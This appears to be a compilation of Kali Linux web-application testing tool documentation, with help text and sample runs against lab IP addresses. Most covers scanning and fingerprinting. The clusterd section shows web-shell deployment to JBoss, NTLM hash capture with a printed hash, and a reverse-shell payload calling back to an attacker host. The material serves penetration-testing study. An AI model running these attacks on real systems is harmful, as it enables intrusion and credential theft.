WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

GENERATED WORDS: 4592

---- Scanning URL: http://192.168.1.224/ ----
==> DIRECTORY: http://192.168.1.224/.svn/
+ http://192.168.1.224/.svn/entries (CODE:200|SIZE:2726)
+ http://192.168.1.224/cgi-bin/ (CODE:403|SIZE:1122)
==> DIRECTORY: http://192.168.1.224/config/
==> DIRECTORY: http://192.168.1.224/docs/
==> DIRECTORY: http://192.168.1.224/external/

dirbuster - https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
multi threaded java application designed to brute force directories and files names on web/application servers. Often is the case now of what looks like a web server in a state of default installation is actually not, and has pages and applications hidden within. DirBuster attempts to find these. However tools of this nature are often as only good as the directory and file list they come with. A different approach was taken to generating this. The list was generated from scratch, by crawling the Internet and collecting the directory and files that are actually used by developers! DirBuster comes a total of 9 different lists, this makes DirBuster extremely effective at finding those hidden files and directories. And if that was not enough DirBuster also has the option to perform a pure brute force, which leaves the hidden directories and files nowhere to hide.
Another GUI - consider putting in a thing with the rest of the OWASP GUIs

uniscan-gui - http://sourceforge.net/projects/uniscan/
A simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.
LFI, RFI, and RCE vulnerability scanner

```
root@kali:~# uniscan -h
#####################################
# Uniscan project                   #
# http://uniscan.sourceforge.net/  #
#####################################
V. 6.2


OPTIONS:
   -h  help
   -u  <url> example: https://www.example.com/
   -f  <file> list of url's
   -b  Uniscan go to background
   -q  Enable Directory checks
   -w  Enable File checks
   -e  Enable robots.txt and sitemap.xml check
   -d  Enable Dynamic checks
   -s  Enable Static checks
   -r  Enable Stress checks
   -i  <dork> Bing search
   -o  <dork> Google search
   -g  Web fingerprint
   -j  Server fingerprint

usage:
[1] perl ./uniscan.pl -u http://www.example.com/ -qweds
[2] perl ./uniscan.pl -f sites.txt -bqweds
[3] perl ./uniscan.pl -i uniscan
[4] perl ./uniscan.pl -i "ip:xxx.xxx.xxx.xxx"
[5] perl ./uniscan.pl -o "inurl:test"
[6] perl ./uniscan.pl -u https://www.example.com/ -r
uniscan-gui – LFI, RFI, and RCE vulnerability scanner (GUI)

A simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.
uniscan Usage Example

Scan the given URL (-u http://192.168.1.202/) for vulnerabilities, enabling directory and dynamic checks (-qd):
root@kali:~# uniscan -u http://192.168.1.202/ -qd
#####################################
# Uniscan project                   #
# http://uniscan.sourceforge.net/  #
#####################################
V. 6.2


Scan date: 16-5-2014 16:29:48
============================================================================
============
| Domain: http://192.168.1.202/
| Server: Apache/2.2.22 (Debian)
| IP: 192.168.1.202
============================================================================
============
|
| Directory check:
| [+] CODE: 200 URL: http://192.168.1.202/joomla/
| [+] CODE: 200 URL: http://192.168.1.202/wordpress/
============================================================================
============
|
| Crawler Started:
```

| Plugin name: FCKeditor upload test v.1 Loaded.
| Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
| Plugin name: phpinfo() Disclosure v.1 Loaded.
| Plugin name: E-mail Detection v.1.1 Loaded.
| Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.
| Plugin name: Code Disclosure v.1.1 Loaded.
| Plugin name: Upload Form Detect v.1.1 Loaded.
| Plugin name: External Host Detect v.1.2 Loaded.
| [+] Crawling finished, 27 URL's found!

wfuzz - http://www.edge-security.com/wfuzz.php
Designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc.

Some features:

- Multiple Injection points capability with multiple dictionaries
- Recursion (When doing directory bruteforce)
- Post, headers and authentication data brute forcing
- Output to HTML
- Colored output
- Hide results by return code, word numbers, line numbers, regex
- Cookies fuzzing
- Multi threading
- Proxy support
- SOCK support
- Time delays between requests
- Authentication support (NTLM, Basic)
- All parameters bruteforcing (POST and GET)
- Multiple encoders per payload
- Payload combinations with iterators
- Baseline request (to filter results against)
- Brute force HTTP methods
- Multiple proxy support (each request through a different proxy)
- HEAD scan (faster for resource discovery)
- Dictionaries tailored for known applications (Weblogic, Iplanet, Tomcat, Domino, Oracle 9i, Vignette, Coldfusion and many more

wfuzz

```
**********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                       *
**********************************************************

Usage: /usr/bin/wfuzz [options] <url>

Options:
-c            : Output with colors
-v            : Verbose information
-o printer          : Output format by stderr

-p addr             : use Proxy (ip:port or ip:port-ip:port-ip:port)
-x type             : use SOCK proxy (SOCKS4,SOCKS5)
-t N               : Specify the number of threads (20 default)
-s N               : Specify time delay between requests (0 default)

-e <type>           : List of available encodings/payloads/iterators/printers
-R depth            : Recursive path discovery
-I             : Use HTTP HEAD instead of GET method (No HTML body responses).
```

--follow : Follow redirections

-m iterator : Specify iterator (product by default)
-z payload : Specify payload (type,parameters,encoding)
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.

-X : Payload within HTTP methods (ex: "FUZZ HTTP/1.0"). No need for FUZZ keyword.
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H headers : Use headers (ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")

--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"

--hc/hl/hw/hh N[,N]+ : Hide resposnes with the specified[s] code/lines/words/chars (Use BBB for taking values from baseline)
--hs regex : Hide responses with the specified regex within the response

Keyword: FUZZ,FUZ2Z wherever you put these words wfuzz will replace them by the payload selected.

Example: - wfuzz.py -c -z file,commons.txt --hc 404 -o html http://www.site.com/FUZZ 2> res.html
- wfuzz.py -c -z file,users.txt -z file,pass.txt --hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
- wfuzz.py -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something}

More examples in the README.
wfuzz Usage Example

Use colour output (-c), a wordlist as a payload (-z file,/usr/share/wfuzz/wordlist/general/common.txt), and hide 404 messages (–hc 404) to fuzz the given URL (http://192.168.1.202/FUZZ):
root@kali:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.1.202/FUZZ

```
********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                     *
********************************************************

Target: http://192.168.1.202/FUZZ
Payload type: file,/usr/share/wfuzz/wordlist/general/common.txt

Total requests: 950
=====================================================================
ID  Response   Lines      Word         Chars          Request
=====================================================================

00429:  C=200      4 L       25 W      177 Ch    " - index"
00466:  C=301      9 L       28 W      319 Ch    " - javascript"
```

CMS & Framework Identification submenu

blindelephant - http://blindelephant.sourceforge.net/
Web Application Fingerprinter attempts to discover the version of a (known) web application by comparing static files at known locations against precomputed hashes for versions of those files in all all available releases. The technique is fast, low-bandwidth, non-invasive, generic, and highly automatable.
BlindElephant.py [options] url appName

Options:

```
  -h, --help            show this help message and exit
  -p PLUGINNAME, --pluginName=PLUGINNAME
                        Fingerprint version of plugin (should apply to web app
                        given in appname)
  -s, --skip            Skip fingerprinting webpp, just fingerprint plugin
  -n NUMPROBES, --numProbes=NUMPROBES
```

Number of files to fetch (more may increase accuracy).
Default: 15
-w, --winnow If more than one version are returned, use winnowing
to attempt to narrow it down (up to numProbes
additional requests).
-l, --list List supported webapps and plugins
-u, --updateDB Pull latest DB files from
blindelephant.sourceforge.net repo (Equivalent to svn
update on blindelephant/dbs/). May require root if
blindelephant was installed with root.

Use "guess" as app or plugin name to attempt to attempt to
discover which supported apps/plugins are installed.
BlindElephant Usage Example

Scan the remote host (http://192.168.1.252/wp), specifying the web application in use (wordpress):
root@kali:~# BlindElephant.py http://192.168.1.252/wp wordpress
Loaded /usr/lib/python2.7/dist-packages/blindelephant/dbs/wordpress.pkl with 293 versions, 5389 differentiating paths, and 480 version groups.
Starting BlindElephant fingerprint for version of wordpress at http://192.168.1.252/wp

Hit http://192.168.1.252/wp/readme.html
Possible versions based on result: 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/tiny_mce.js
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/autosave.js
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-content/themes/twentyten/languages/twentyten.pot
File produced no match. Error: Failed to reach a server: Not Found

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/wp-tinymce.js.gz
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/about.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-beta1, 2.8-beta2, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/source_editor.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/link.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/swfupload/handlers.js
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-beta2, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/image.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/color_picker.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-beta1, 2.8-beta2, 2.8-IIS, 2.8-RC1

Hit http://192.168.1.252/wp/wp-content/plugins/akismet/readme.txt
Possible versions based on result: 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.9-beta-1, 2.9-beta-1-IIS, 2.9-beta-2, 2.9-beta-2-IIS, 2.9-RC1, 2.9-RC1-IIS

Hit http://192.168.1.252/wp/wp-includes/js/tinymce/themes/advanced/anchor.htm
Possible versions based on result: 2.8, 2.8.1, 2.8.1-beta1, 2.8.1-beta2, 2.8.1-IIS, 2.8.1-RC1, 2.8.2, 2.8.2-IIS, 2.8.3, 2.8.3-IIS, 2.8.4, 2.8.4-IIS, 2.8.4a-IIS, 2.8.4b-IIS, 2.8.5, 2.8.5-beta1, 2.8.5-IIS, 2.8.6, 2.8.6-beta1, 2.8.6-beta1-IIS, 2.8.6-IIS, 2.8-IIS, 2.8-RC1

Fingerprinting resulted in:
2.8.6
2.8.6-beta1
2.8.6-beta1-IIS
2.8.6-IIS

Best Guess: 2.8.6

clusterd - https://github.com/hatRiot/clusterd
Automates the fingerprinting, reconnaissance, and exploitation phases of an application server attack.
The recommended way to install clusterd is to clone the Github repository using git as shown below.

git clone https://github.com/hatRiot/clusterd.git

Clusterd currently supports the following application server platforms:

JBoss
ColdFusion
WebLogic
Tomcat
Railo
Axis2
Glassfish

```
$ ./clusterd.py

        clusterd/0.3.1 - clustered attack toolkit
```

[Supporting 7 platforms]

```
usage: ./clusterd.py [options]

optional arguments:
  -h, --help            show this help message and exit

Connection:
  Options for configuring the connection

  -i [ip address]       Server address
  -iL [file]            Server list
  -p [port]             Server port
  --proxy [proxy://server:port]
                        Connect through proxy [http|https]
  --proxy-auth [username:password]
                        Proxy credentials
  --timeout [seconds]   Connection timeout [5s]
  --random-agent        Use a random User-Agent for requests
  --ssl                 Force SSL

Remote Host:
  Settings specific to the remote host

  -a [jboss|coldfusion|weblogic|tomcat|railo|axis2|glassfish]
                        Hint at remote host service
  -o [windows|linux]    Hint at remote host OS
  -v [version]          Specific version to test
  --usr-auth [username:password]
                        Login credentials for service
  --fingerprint         Fingerprint the remote system
  --arch [x86|x64]      Specify remote OS architecture

Deploy:
  Deployment flags and settings

  --deploy [file]       Deploy to the discovered service
  --undeploy [context]  Undeploy file from server
  --deployer [deployer]
                        Specify a deployer to use
  --invoke              Invoke payload after deployment
  --rand-payload        Use a random name for the deployed file
  -b [user]             Brute force credentials for user [admin]
  --wordlist [path]     Wordlist for brute forcing passwords

Other:
  Miscellaneous flags

  --deployer-list       List all available deployers
  --aux-list [platform]
                        List all available exploits
  --gen-payload [host:port] for reverse connection
                        Generate a reverse shell payload
  --discover [discovery_file]
                        Attempt to discover application servers using the
                        specified nmap gnmap output (use -sV when scanning)
  --listen [adapter]    Adapter to listen on when needed
  -d                    Enable debug output
  -l                    Log output to file [$time$_log.log]

jboss fingerprint and host info
```

```
$ ./clusterd.py -i 192.168.1.105 -a jboss --jb-info --random-agent

        clusterd/0.3 - clustered attack toolkit
           [Supporting 6 platforms]

 [2014-05-25 10:57PM] Started at 2014-05-25 10:57PM
 [2014-05-25 10:57PM] Servers' OS hinted at windows
 [2014-05-25 10:57PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 10:57PM] Server hinted at 'jboss'
 [2014-05-25 10:57PM] Checking jboss version 3.2 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 3.2 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 3.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.2 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.2 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 4.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 4.0 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 5.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 5.0 JBoss Web Console...
 [2014-05-25 10:57PM] Checking jboss version 6.0 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 6.1 JBoss Web Manager...
 [2014-05-25 10:57PM] Checking jboss version 6.1 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 6.0 JBoss JMX Console...
 [2014-05-25 10:57PM] Checking jboss version 7.1 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version 7.0 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version 8.0 JBoss Management...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 10:57PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 10:57PM] Matched 7 fingerprints for service jboss
 [2014-05-25 10:57PM]   JBoss JMX Console (version 5.0)
 [2014-05-25 10:57PM]   JBoss Web Console (version 5.0)
 [2014-05-25 10:57PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 10:57PM]   JBoss HTTP Headers (Unreliable) (version 5.0)
 [2014-05-25 10:57PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 10:57PM]   JBoss RMI Interface (version Any)
 [2014-05-25 10:57PM]   JBoss Status Page (version Any)
 [2014-05-25 10:57PM] Fingerprinting completed.
 [2014-05-25 10:57PM] Attempting to retrieve JBoss info...
 [2014-05-25 10:57PM]   ActiveThreadCount: 68
 [2014-05-25 10:57PM]   AvailableProcessors: 1
 [2014-05-25 10:57PM]   OSArch: amd64
 [2014-05-25 10:57PM]   MaxMemory: 518979584
 [2014-05-25 10:57PM]   HostAddress: 192.168.1.105
 [2014-05-25 10:57PM]   JavaVersion: 1.7.0_45
 [2014-05-25 10:57PM]   OSVersion: 6.1
 [2014-05-25 10:57PM]   TotalMemory: 286703616
 [2014-05-25 10:57PM]   JavaVendor: Oracle Corporation
 [2014-05-25 10:57PM]   ActiveThreadGroupCount: 9
 [2014-05-25 10:57PM]   OSName: Windows 7
 [2014-05-25 10:57PM]   FreeMemory: 122651808
 [2014-05-25 10:57PM]   HostName: bryan-PC
 [2014-05-25 10:57PM]   JavaVMVersion: 24.45-b08
 [2014-05-25 10:57PM]   JavaVMVendor: Oracle Corporation
 [2014-05-25 10:57PM]   JavaVMName: Java HotSpot(TM) 64-Bit Server VM
 [2014-05-25 10:57PM] Finished at 2014-05-25 10:57PM
```

jboss DFS deployment against JBoss 5.0

```
$ ./clusterd.py -i 192.168.1.105 -a jboss -v5.0 --deploy ./src/lib/resources/cmd.war --random-agent

        clusterd/0.3 - clustered attack toolkit
           [Supporting 6 platforms]

 [2014-05-25 11:00PM] Started at 2014-05-25 11:00PM
 [2014-05-25 11:00PM] Servers' OS hinted at windows
 [2014-05-25 11:00PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 11:00PM] Server hinted at 'jboss'
 [2014-05-25 11:00PM] Checking jboss version 5.0 JBoss JMX Console...
 [2014-05-25 11:00PM] Checking jboss version 5.0 JBoss Web Console...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 11:00PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 11:00PM] Matched 7 fingerprints for service jboss
 [2014-05-25 11:00PM]   JBoss JMX Console (version 5.0)
 [2014-05-25 11:00PM]   JBoss Web Console (version 5.0)
 [2014-05-25 11:00PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 11:00PM]   JBoss HTTP Headers (Unreliable) (version 5.0)
 [2014-05-25 11:00PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 11:00PM]   JBoss RMI Interface (version Any)
 [2014-05-25 11:00PM]   JBoss Status Page (version Any)
 [2014-05-25 11:00PM] Fingerprinting completed.
 [2014-05-25 11:00PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] >
 [2014-05-25 11:00PM] Preparing to deploy cmd...
 [2014-05-25 11:00PM] Successfully deployed '/cmd/cmd.jsp'
 [2014-05-25 11:00PM] Finished at 2014-05-25 11:00PM
```

jboss UNC hash retrieval

```
$ sudo ./clusterd.py -i 192.168.1.105 -a jboss -v4.2 --random-agent --jb-smb

        clusterd/0.3 - clustered attack toolkit
           [Supporting 6 platforms]

 [2014-05-25 11:01PM] Started at 2014-05-25 11:01PM
 [2014-05-25 11:01PM] Servers' OS hinted at windows
 [2014-05-25 11:01PM] Fingerprinting host '192.168.1.105'
 [2014-05-25 11:01PM] Server hinted at 'jboss'
 [2014-05-25 11:01PM] Checking jboss version 4.2 JBoss JMX Console...
 [2014-05-25 11:01PM] Checking jboss version 4.2 JBoss Web Console...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss EJB Invoker Servlet...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss JMX Invoker Servlet...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss RMI Interface...
 [2014-05-25 11:01PM] Checking jboss version Any JBoss Status Page...
 [2014-05-25 11:01PM] Matched 7 fingerprints for service jboss
 [2014-05-25 11:01PM]   JBoss JMX Console (version 4.2)
 [2014-05-25 11:01PM]   JBoss Web Console (version 4.2)
 [2014-05-25 11:01PM]   JBoss EJB Invoker Servlet (version Any)
 [2014-05-25 11:01PM]   JBoss HTTP Headers (Unreliable) (version 4.2)
 [2014-05-25 11:01PM]   JBoss JMX Invoker Servlet (version Any)
 [2014-05-25 11:01PM]   JBoss RMI Interface (version Any)
 [2014-05-25 11:01PM]   JBoss Status Page (version Any)
 [2014-05-25 11:01PM] Fingerprinting completed.
 [2014-05-25 11:01PM] Setting up SMB listener..
```

[2014-05-25 11:01PM] Invoking UNC loader...
[2014-05-25 11:01PM] bryan::bryan-PC:1122334455667788:34826253d353ebca4811bd08be0db067:01010000000000003dac35999f78cf019df7c49c7268a5f6000000000200000000000000000000000
[2014-05-25 11:01PM] Finished at 2014-05-25 11:01PM

tomcat deployment and reverse shell invocation

$ ./clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

clusterd/0.3 - clustered attack toolkit
[Supporting 6 platforms]

[2014-05-25 10:53PM] Started at 2014-05-25 10:53PM
[2014-05-25 10:53PM] Generating payload....
[2014-05-25 10:53PM] Payload generated (shell.war). Payload: java/jsp_shell_reverse_tcp
[2014-05-25 10:53PM] Servers' OS hinted at windows
[2014-05-25 10:53PM] Fingerprinting host '192.168.1.105'
[2014-05-25 10:53PM] Server hinted at 'tomcat'
[2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat...
[2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat Manager...
[2014-05-25 10:53PM] Matched 2 fingerprints for service tomcat
[2014-05-25 10:53PM] Tomcat (version 5.5)
[2014-05-25 10:53PM] Tomcat Manager (version 5.5)
[2014-05-25 10:53PM] Fingerprinting completed.
[2014-05-25 10:53PM] Preparing to deploy /tmp/.clusterd/z1dgi.war...
[2014-05-25 10:53PM] Deployed /tmp/.clusterd/z1dgi.war to /z1dgi
[2014-05-25 10:53PM] z1dgi invoked at 192.168.1.105
[2014-05-25 10:53PM] Finished at 2014-05-25 10:53PM

jboss-autopwn- https://github.com/SpiderLabs/jboss-autopwn
JBoss script deploys a JSP shell on the target JBoss AS server. Once deployed, the script uses its upload and command execution capability to provide an interactive session
Attack the target server (192.168.1.200) on the specified port (8080), redirecting stderr (2> /dev/null):
root@kali:~# jboss-linux 192.168.1.200 8080 2> /dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[!] Cound not create BSH script..
[x] Now deploying .war file:

joomscan - https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project
Joomla! is probably the most widely-used CMS out there due to its flexibility, user-friendlinesss, extensibility to name a few. So, watching its vulnerabilities and adding such vulnerabilities as KB to Joomla scanner takes ongoing activity. It will help web developers and web masters to help identify possible security weaknesses on their deployed Joomla! sites.

The following features are currently available:

Exact version Probing (the scanner can tell whether a target is running version 1.5.12)
Common Joomla! based web application firewall detection
Searching known vulnerabilities of Joomla! and its components
Reporting to Text & HTML output
Immediate update capability via scanner or svn

==========
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab

```
 Update by: Web-Center, http://web-center.si (2011)
=================================================================
 Vulnerability Entries: 611
 Last update: February 2, 2012
 Usage:  ./joomscan.pl -u <string> -x proxy:port
        -u <string>      = joomla Url
        ==Optional==
        -x <string:int>  = proXy to tunnel
        -c <string>      = Cookie (name=value;)
        -g "<string>"    = desired useraGent string(within ")
        -nv              = No Version fingerprinting check
        -nf              = No Firewall detection check
        -nvf/-nfv        = No version+firewall check
        -pe          = Poke version only and Exit
        -ot              = Output to Text file (target-joexploit.txt)
        -oh              = Output to Html file (target-joexploit.htm)
        -vu              = Verbose (output every Url scan)
    -sp          = Show completed Percentage
 ~Press ENTER key to continue

 Example:  ./joomscan.pl -u victim.com -x localhost:8080

 Check:    ./joomscan.pl check
        - Check if the scanner update is available or not.
 Update:   ./joomscan.pl update
        - Check and update the local database if newer version is available.
 Download: ./joomscan.pl download
        - Download the scanner latest version as a single zip file - joomscan-latest.zip.
 Defense:  ./joomscan.pl defense
        - Give a defensive note.
 About:    ./joomscan.pl story
        - A short story about joomscan.
 Read:     ./joomscan.pl read DOCFILE
        DOCFILE - changelog,release_note,readme,credits,faq,owasp_project

Scan the Joomla installation at the given URL (-u http://192.168.1.202/joomla) for vulnerabilities:
root@kali:~# joomscan -u http://192.168.1.202/joomla
=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=================================================================
Vulnerability Entries: 673
Last update: October 22, 2012
Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package
Use svn co to update the scanner and the database
svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan
Target: http://192.168.1.202/joomla
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
## Checking if the target has deployed an Anti-Scanner measure
[!] Scanning Passed ..... OK
## Detecting Joomla! based Firewall ...
[!] No known firewall detected!
## Fingerprinting in progress ...
Use of uninitialized value in pattern match (m//) at ./joomscan.pl line 1009.
~Unable to detect the version. Is it sure a Joomla?
## Fingerprinting done.
```

Vulnerabilities Discovered
==========
1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes

plecost - https://code.google.com/p/plecost/
